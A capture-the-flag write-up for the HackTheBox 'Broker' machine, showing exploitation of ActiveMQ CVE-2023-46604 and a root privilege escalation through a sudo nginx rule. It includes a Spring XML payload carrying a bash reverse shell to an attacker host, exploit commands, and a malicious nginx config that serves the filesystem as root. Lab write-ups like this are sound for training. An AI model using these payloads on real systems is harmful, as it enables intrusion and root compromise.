// HackTheBox

Broker

CVE-2023-46604 (ActiveMQ OpenWire RCE) → GTFOBins nginx sudo rule → arbitrary root-owned file read

HackTheBoxEasyLinux Jul 20, 2026 6 min read

Recon

An nmap top-1000 scan found only two ports: 22/ssh and 80/http. The web port answers with a 401 Unauthorized and a WWW-Authenticate: basic realm="ActiveMQRealm" header — that’s the Apache ActiveMQ web console, sitting behind HTTP basic auth. A locked console with no credentials looks like a dead end, so the next move is a full port sweep (nmap -p-) to see what else ActiveMQ is exposing. ActiveMQ is a message broker that speaks several wire protocols on their own ports, and those are usually far less guarded than the web UI:

Port Service
22 SSH
80 HTTP — 401, ActiveMQ web console (credential-gated)
1883 MQTT
5672 AMQP
8161 Web console (same as :80 via nginx proxy)
61613/61614 STOMP/WS
61616 OpenWire — unauthenticated, RCE-relevant

Port 61616 is the one that matters. OpenWire is ActiveMQ’s native binary messaging protocol, and it accepts connections with no authentication even though the web console demands a login. An unauthenticated OpenWire endpoint on an ActiveMQ that predates the 2023 patch is exactly the setup for CVE-2023-46604 — the thread to pull.

Foothold — CVE-2023-46604 (ActiveMQ OpenWire RCE)

CVE-2023-46604 is a remote-code-execution flaw in how ActiveMQ deserialises OpenWire messages. The OpenWire marshaller lets a client-supplied EXCEPTION_RESPONSE command name any class on the broker’s classpath and have the broker instantiate it, passing one attacker-controlled string to its constructor. The class chosen for the exploit is org.springframework.context.support.ClassPathXmlApplicationContext — a Spring helper whose constructor takes a URL, fetches a Spring bean-definition XML file from it, and loads the beans it describes. Since a bean definition can name any class and any constructor/init-method, this turns “instantiate a class by name” into “run whatever the remote XML tells me to.”

1. Craft the malicious Spring bean XML

The payload bean invokes java.lang.ProcessBuilder and marks start as its init-method, so Spring runs the process as soon as the bean is created. The command is a bash reverse shell back to the attacker on port 4444. This is saved as exploit/webroot/poc.xml:

<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans"
       xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
       xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
    <bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
        <constructor-arg>
            <list>
                <value>bash</value>
                <value>-c</value>
                <value>bash -i &gt;&amp; /dev/tcp/&lt;LHOST&gt;/4444 0&gt;&amp;1</value>
            </list>
        </constructor-arg>
    </bean>
</beans>

2. Serve the XML over HTTP

The broker has to be able to fetch poc.xml, so a plain HTTP server is started in the directory holding it. Ruby’s built-in one-liner is enough:

$ ruby -run -e httpd . -p 8000

3. Fire the OpenWire packet

exploit/exploit.py (from the public PoC repo evkl1d/CVE-2023-46604) hand-builds the raw OpenWire binary packet: a length prefix, the type byte 0x1f (EXCEPTION_RESPONSE), then the target class name and the XML URL encoded as length-prefixed strings. It opens a bare TCP socket to 61616/tcp and sends the bytes directly — no ActiveMQ client library and no authentication involved:

$ python3 exploit.py <TARGET> 61616 http://<LHOST>:8000/poc.xml

4. Catch the shell

The broker parses the packet, instantiates ClassPathXmlApplicationContext, fetches poc.xml over HTTP from our server, and loads the ProcessBuilder bean — which fires the reverse shell. A nc -lvnp 4444 listener catches it as the activemq service user. The version banner confirms why it worked: the install is /opt/apache-activemq-5.15.15, and the vulnerable range for that branch is anything below 5.15.16.

Privilege Escalation — GTFOBins nginx sudo rule → arbitrary root-owned file read

The first thing to check as any new user is sudo -l, which lists what the user may run via sudo. Here it returns:

(ALL : ALL) NOPASSWD: /usr/sbin/nginx

activemq can run the nginx binary as root with no password. nginx isn’t an obvious “hacking tool,” but GTFOBins (a catalogue of how ordinary binaries can be abused to break out of a restricted context) documents a technique for exactly this. nginx accepts an arbitrary configuration file with -c, and a config that sets root /; plus autoindex on; makes nginx serve the entire filesystem; enabling the WebDAV PUT method (dav_methods PUT;) additionally makes that tree writable. Because sudo runs nginx as root, the worker process — and every file it reads or writes — operates with root’s privileges.

1. Write the malicious nginx config

user root;
worker_processes 1;
pid /tmp/nginx_evil.pid;
events { worker_connections 1024; }
http {
    server {
        listen 8443;
        root /;
        autoindex on;
        dav_methods PUT;
    }
}

2. Get it onto the target and launch nginx as root

The config is served from the same ruby -run -e httpd server used earlier, pulled down with curl, and then nginx is started against it via sudo:

$ curl http://<LHOST>:8000/evil.conf -o /tmp/evil.conf
$ sudo /usr/sbin/nginx -c /tmp/evil.conf

3. Read root-owned files over HTTP

With root / and autoindex on, a plain GET to the new listener already exposes the whole filesystem as root — there’s no need to even use the PUT write primitive for this goal. Requesting the flag path returns it directly:

$ curl http://10.129.230.87:8443/root/root.txt

That returned root.txt. (The PUT method would additionally allow arbitrary root-owned file writes — dropping an SSH key into /root/.ssh/authorized_keys or a job into /etc/cron.d for a full interactive root shell — but a read was sufficient here, so it wasn’t needed.)

Key Takeaways

  • OpenWire (61616) is unauthenticated by default even when the web console (80/8161) is credential-gated — always check ActiveMQ’s other protocol ports (OpenWire, STOMP, MQTT, AMQP) independently of the HTTP console’s auth state.
  • CVE-2023-46604 doesn’t need a compiled payload class (unlike Log4Shell’s JNDI/LDAP chain) — it’s a raw crafted OpenWire packet pointing at a remote Spring XML bean definition; much lighter tooling requirement (just a Python socket script and an HTTP server).
  • GTFOBins-documented sudo escapes are worth checking by rote for any binary with a bare NOPASSWD sudo entry, even ones that don’t look obviously dangerous — nginx isn’t a “hacking tool,” but a custom -c config turns it into an arbitrary root-privileged file server/writer.
  • Once such a server is up with root / and autoindex on, don’t over-engineer the privesc — a plain GET can be enough if the goal is reading a specific file; PUT is only needed for writes (persistence, cron, SSH keys, sudoers).
← All writeups